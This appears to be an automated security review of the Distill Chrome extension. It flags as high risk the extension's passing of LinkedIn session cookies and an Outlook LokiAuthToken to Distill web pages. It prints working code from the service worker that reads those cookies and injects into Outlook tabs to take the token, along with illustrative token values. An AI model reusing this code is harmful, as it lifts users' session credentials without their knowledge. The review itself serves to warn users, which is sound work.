Is Distill safe?

High risk

Distill shares LinkedIn session cookies and profile page HTML with Distill services.

Distill lets its own web pages request LinkedIn session cookies through the extension, including sending the LinkedIn li_at cookie in an onboarding URL. On LinkedIn profile and company pages, it can automatically send the page URL and full HTML to Distill after checking whether the page is already known. Distill pages can also request an Outlook LokiAuthToken from an open Outlook or Office tab when the extension has access to that tab.

Distillv1.3.5Chrome Web Store
77Risk
Who publishes it

Distill Tech - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Distill
Declared legal entity
Distill Tech
Registered address
1111B S Governors Ave STE 3175, Dover, DE 19904-6903, US
Registered contact
Tim Su

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Distill pages can receive LinkedIn session cookies

Code analysis shows a permitted Distill page can ask the extension for a cookie check.

The service worker reads the LinkedIn session cookie and related cookies and returns them.

Onboarding also places the session cookie in a Distill URL.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use Distill onboarding or a permitted Distill web page.

The extension did this

The extension reads LinkedIn session cookies and returns them to that page.

The onboarding path also places the session cookie into a Distill URL query string.

LinkedIn values exposed by the cookie-check and onboarding paths
  • LinkedIn session token
    li_at=AQEDAVi2U3nL5y4HAAABl9JdW2Y (illustrative)

    Lets the receiving page identify the active LinkedIn session if LinkedIn accepts the cookie.

  • LinkedIn remember-me cookie
    li_rm=AQH7Gm2b9XrQ4sP1 (illustrative)

    Adds another LinkedIn cookie value tied to the browser profile.

  • LinkedIn auxiliary cookie
    li_a=AQJ9p3KxT7rV2mN6 (illustrative)

    Adds more account-session context from the LinkedIn cookie jar.

Captured request
GEThttps://distill.com/onboarding?li_at=<redacted>

The code navigates a tab to this URL. No request body was recorded for this GET navigation.

External pages that can reach this extension path
    • distill.com

    Allowed to send external messages; also the default onboarding destination for the session-cookie query string.

    • distill.fyi

    Allowed to send external messages that reach the cookie-check handler.

The code that does this

The shipped service worker reads LinkedIn cookies and returns them to Distill pages

Readable version

Manifest allows Distill web pages to message the extension

manifest.json
"externally_connectable": {  "matches": [    "https://distill.com/*",    "https://distill.fyi/*"  ]}

Cookie readers and onboarding URL builder

js/background.js
const LINKEDIN_A_COOKIE = "li_a";async function readLinkedInCookie(name) {  const cookies = await chrome.cookies.getAll({ domain: "linkedin.com", name });  const newest = cookies.sort((left, right) => (right.expirationDate || 0) - (left.expirationDate || 0))[0];  return newest?.value;}function readLinkedInSessionCookie() {  return new Promise((resolve) => {    chrome.storage.sync.get(storage.li_at, (stored) => {      const previous = stored[storage.li_at];      chrome.cookies.getAll({ domain: "linkedin.com", name: "li_at" }).then((cookies) => {        if (!cookies.length) {          resolve(null);          return;        }        const cookie = cookies.sort((left, right) => (right.expirationDate || 0) - (left.expirationDate || 0))[0].value;        if (cookie === previous) {          resolve({ cookie, changed: false });          return;        }        chrome.storage.sync.set({ [storage.li_at]: cookie });        resolve({ cookie, changed: true });      });    });  });}async function openOnboarding(clearNoCookieFlag) {  const linkedInSession = await readLinkedInSessionCookie();  if (linkedInSession) {    if (clearNoCookieFlag) chrome.storage.sync.set({ [storage.no_cookie_onboarding]: false });    const params = new URLSearchParams({ li_at: linkedInSession.cookie });    navigateActiveTab(apiHost + "/onboarding?" + params.toString());  } else {    chrome.storage.sync.set({ [storage.no_cookie_onboarding]: true });    navigateActiveTab(apiHost + "/onboarding?li_at=none");  }}

External cookieCheck handler returns cookie values

js/background.js
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {  const acceptedKeys = ["cookieCheck", "cookieSet", "onboarding", "message", "url", "ovr", storage.token, storage.user];  if (typeof message !== "object" || !message || !acceptedKeys.some((key) => key in message)) return;  chrome.storage.sync.get([storage.token, storage.user, storage.li_at, storage.no_cookie_onboarding]).then((stored) => {    if (message.ovr) apiHost = message.ovr;    if (message.cookieCheck) {      readLinkedInSessionCookie()        .then(async (sessionCookie) => {          const [li_rm, li_a] = await Promise.all([            readLinkedInCookie("li_rm"),            readLinkedInCookie("li_a")          ]);          sendResponse({ ...sessionCookie, li_rm, li_a });        })        .catch((error) => sendResponse({ cookie: null, error: String(error) }));      return;    }    if (message.onboarding) {      openOnboarding();      sendResponse({ success: true });      return;    }    if (message.url && !stored[storage.li_at] && stored[storage.no_cookie_onboarding] && message.url.includes("linkedin.com")) {      openOnboarding(true);      sendResponse({ success: true, message: "URL processed" });      return;    }    sendResponse({ success: true });  }).catch((error) => sendResponse({ success: false, error: String(error) }));  return true;});

Distill pages can request an Outlook session token

Code analysis shows a permitted Distill page can ask the extension for an Outlook token.

If an Outlook or Office tab is open and injectable, the service worker reads the page token from storage and returns it to that Distill page.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You have Outlook or Office open while using a permitted Distill web page.

The extension did this

The extension can read Outlook session storage and return the token to that page.

This path depends on the extension having injection access to the Outlook or Office tab.

Value returned to the requesting Distill page
  • Outlook session token
    LokiAuthToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cG4iOiJhbGV4QGV4YW1wbGUuY29tIiwiaWF0IjoxNzIwMDAwMDAwfQ.v9j4GmXk2f8qzP0n5bY3S7mQ1rLdA6hTcNwE2pUaKc8 (illustrative)

    Lets the receiving page obtain a token associated with the active Outlook or Office browser session.

  • Browser storage source
    LokiAuthToken in session storage (illustrative)

    Shows that the value comes from storage inside the open Outlook or Office page.

  • Matched tab
    https://outlook.live.com/mail/0/ (illustrative)

    Limits the read to open Microsoft webmail or Office pages found in your browser.

External message response path
  1. same message callback

    You did

    A permitted Distill page sends an Outlook-token request to the extension.

    The extension did

    The service worker searches open tabs for Outlook or Office and reads session storage.

    If a token string is found, it is returned to the requesting page.

Pages involved in this extension path
    • distill.com
    • distill.fyi

    Allowed to send external messages that can request the Outlook token.

    • outlook.live.com
    • office.com

    A matching open tab whose session storage is read when injection access is available.

The code that does this

The shipped service worker reads the Outlook token from open Outlook or Office tabs

Readable version

Manifest allows Distill web pages and declares scripting access

manifest.json
"permissions": [  "activeTab",  "storage",  "scripting",  "cookies"],"optional_host_permissions": [  "*://*/*"],"externally_connectable": {  "matches": [    "https://distill.com/*",    "https://distill.fyi/*"  ]}

Readable equivalent of the Outlook-token branch

js/background.js
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {  if (message.getOutlookLokiToken) {    chrome.tabs.query({}, (tabs) => {      const outlookTab = tabs.find((tab) => {        const url = tab.url || "";        return url.includes("outlook.live.com") || url.includes(".office.com");      });      if (!outlookTab || !outlookTab.id) {        sendResponse({ outlookLokiToken: null });        return;      }      chrome.scripting.executeScript({        target: { tabId: outlookTab.id },        world: "MAIN",        func: () => {          try {            return window.sessionStorage ? window.sessionStorage.getItem("LokiAuthToken") : null;          } catch (error) {            return null;          }        }      }, (results) => {        if (chrome.runtime.lastError) {          sendResponse({ outlookLokiToken: null });          return;        }        const result = results && results[0] && results[0].result;        sendResponse({ outlookLokiToken: typeof result === "string" ? result : null });      });    });    return true;  }});

Where it sends data

Destinations our analysis observed Distill contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • distill.com

    Distill sends data to distill.com. No other extension we have analysed sends data here.

  • distill.fyi

    Distill sends data to distill.fyi. No other extension we have analysed sends data here.

Updated 30 September 2026kidifhledoijjifmngjkaclhdoffdneg